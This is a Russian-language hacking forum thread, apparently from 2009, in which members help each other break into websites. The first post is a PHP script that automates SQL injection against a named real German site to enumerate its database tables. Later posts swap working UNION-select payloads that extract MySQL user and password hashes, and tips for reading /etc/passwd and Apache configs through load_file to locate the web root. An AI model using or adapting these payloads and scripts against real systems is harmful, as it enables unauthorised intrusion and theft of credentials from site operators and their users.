Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. FlaktW

    FlaktW Elder - Старейшина

    Joined:
    19 Aug 2009
    Messages:
    500
    Likes Received:
    33
    Reputations:
    12
    Настройте пожалуйста скрипт.

    [/PHP]<?php
    set_time_limit(0);
    $set['b']='121212';//Что находится перед выводиомй инфой
    $set['e']='212121';//Что находится после выводимой инфы
    $set['u']='http://www.engelmt.de/en/cataloque/artikelgruppen.php?id=';//URL с узвимым параметров В КОНЦЕ(!)
    $set['z']='-91 union select 1,2,3,4,5,6,7,concat(table_schema,0x3a,table_name),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from+information_schema.tables LIMIT +++counter+++,1/*';//Уязвимый параметр
    $set['c']='+++counter+++';//Строка счетчика
    $set['f']='0';//Начальное значение счетчика
    $set['s']='50';//Конечное значение счетчика
    $set['h']='www.engelmt.de';//Хост

    if(!empty($_GET['b']))$set['b']=$_GET['b'];
    if(!empty($_GET['e']))$set['e']=$_GET['e'];
    if(!empty($_GET['u']))$set['u']=$_GET['u'];
    if(!empty($_GET['z']))$set['z']=$_GET['z'];
    if(!empty($_GET['c']))$set['c']=$_GET['c'];
    if(!empty($_GET['f']))$set['f']=$_GET['f'];
    if(!empty($_GET['s']))$set['s']=$_GET['s'];
    if(!empty($_GET['h']))$set['h']=$_GET['h'];

    for($i=$set['f'];$i<=$set['s'];$i++)
    {
    $zapros=str_replace($set['c'],$i,$set['z']);//Изменияем счетчик в уязвимом параметре

    //Создаем пакет
    $header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n";
    $header.="Accept-Language: en-us,en;q=0.5\r\n";
    $header.="Accept-Charset: utf-8,*;q=0.7\r\n";
    $header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
    $header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
    $header.="Connection: keep-alive\r\n";
    $header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n";
    $header.='Cookie2: $Version=1'."\r\n";
    $header.="Host: ".$set['h']."\r\n\r\n";

    $dt="";
    $fp=fsockopen($set['h'], 80);
    fwrite($fp, $header);
    while(!feof($fp)) $dt.=fread($fp, 1024);
    fclose($fp);

    //Вырезаем необходимую инфу
    $dt=substr($dt,strpos($dt,$set['b'])+strlen($set['b']));
    $dt=substr($dt,0,strpos($dt,$set['e']));

    //Выводим инфу на экран
    echo($dt."\r\n");
    flush();
    }

    ?>
     
  2. x[0]x

    x[0]x Banned

    Joined:
    2 Dec 2008
    Messages:
    31
    Likes Received:
    5
    Reputations:
    -4
    атрибут космический-​
    бруто технику описывали уже с минимальным количеством запросов :(
     
  3. p.r0phe.t

    p.r0phe.t Member

    Joined:
    22 Aug 2009
    Messages:
    94
    Likes Received:
    8
    Reputations:
    0
    Подскажите,как бороьтся с такой ошибкой?
    Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (latin1_bin,IMPLICIT) for operation 'UNION'
    Запрос
    ?id=-10256'+union+select+1,2,3,4,5,6,user,password,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user+limit+1,1/*
     
  4. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Прочтением статей мб?
    https://forum.antichat.ru/thread104591.html
    Вопрос №2
     
    1 person likes this.
  5. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    ?id=-10256'+union+select+1,2,3,4,5,6,AES_DECRYPT(AES_ENCRYPT(user,password)),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user+limit+1,1/*
     
    4 people like this.
  6. p.r0phe.t

    p.r0phe.t Member

    Joined:
    22 Aug 2009
    Messages:
    94
    Likes Received:
    8
    Reputations:
    0
    Спасибо! =)
     
  7. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    И что, работает так?

    Тебе тоже не мешает, кстати, статьи перечитать :) Ну или по синтаксису что-то
     
    1 person likes this.
  8. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Незнаю как у вас, но у меня заработало, я непомню на каком именно сайте, но работало 100 %.

    Возможно условия разные просто.

    Кстате точно надо повторить...

    ps
    Сгуглил даже, http://forum.prologic.su/index.php?showtopic=3612&st=0&p=13019&#entry13019
     
    #10508 Ctacok, 7 Dec 2009
    Last edited: 7 Dec 2009
  9. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Возможно просто синтаксис нужен правильный, или у хакеров и так покатит?

    http://dev.mysql.com/doc/refman/5.1/en/encryption-functions.html#function_aes-decrypt
     
    #10509 Kakoytoxaker, 7 Dec 2009
    Last edited: 7 Dec 2009
  10. p.r0phe.t

    p.r0phe.t Member

    Joined:
    22 Aug 2009
    Messages:
    94
    Likes Received:
    8
    Reputations:
    0
    нет не работает,я с твоего поста смотрел.
     
  11. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Code:
    Запрос 
    ?id=-10256'+union+select+1,2,3,4,5,6,user,password,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7+from+mysql.user+limit+1,1/*
    

    ?id=-10256'+union+select+1,2,3,4,5,6,unhex(hex(concat_ws(0x3a,user,password))),8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7+from+mysql.user+limit+1,1/*
     
  12. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    ?id=-10256'+union+select+1,2,3,4,5,6,convert(concat_ws(";",user,password)+using+cp1251_general_ci),8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7+from+mysql.user+limit+1,1/*

    Как-то так. Не проверял.
     
    3 people like this.
  13. p.r0phe.t

    p.r0phe.t Member

    Joined:
    22 Aug 2009
    Messages:
    94
    Likes Received:
    8
    Reputations:
    0
    всем спасибо,сделал так:
    ?id=-10256'+union+select+1,2,3,4,5,6,user,cast(password+as+binary),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user+limit+3,1/*
     
  14. p.r0phe.t

    p.r0phe.t Member

    Joined:
    22 Aug 2009
    Messages:
    94
    Likes Received:
    8
    Reputations:
    0
    Ещё вопрос,какими способами,имея лоадфайл (какие конфиги почитать) найти путь до сайта?
    ОС: CentOS
     
    #10514 p.r0phe.t, 7 Dec 2009
    Last edited: 7 Dec 2009
  15. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    Linux
    CentOS, Fedora (Redhat-системы)

    /etc/httpd/conf/httpd.conf
    /etc/passwd
    /etc/groups

    вообщем читай все што сможеш а там подсмотриш путь)
    P.S. Узнай версию апача...
     
    #10515 547, 7 Dec 2009
    Last edited: 7 Dec 2009
  16. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    вот пути в этой теме
    https://forum.antichat.ru/thread49775.html

    перебирай или сиптом или на darkc0de были какието переборщики
     
  17. p.r0phe.t

    p.r0phe.t Member

    Joined:
    22 Aug 2009
    Messages:
    94
    Likes Received:
    8
    Reputations:
    0
    Путями и не пахнет
    А зачем? ну 2.2.3...
     
    1 person likes this.
  18. p.r0phe.t

    p.r0phe.t Member

    Joined:
    22 Aug 2009
    Messages:
    94
    Likes Received:
    8
    Reputations:
    0
    И ещё,скажите что означает такая ошибка и как с ней бороться?
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND num_begin < '' AND num_end > ''' at line 1
     
  19. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    я тебе скажу зачем....
    на разных версиях апача может путь распологатся по разному!!! соответственно затем...
     
  20. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    пральна построй запрос! дето наверна кавычка лишняя
     
Thread Status:
Not open for further replies.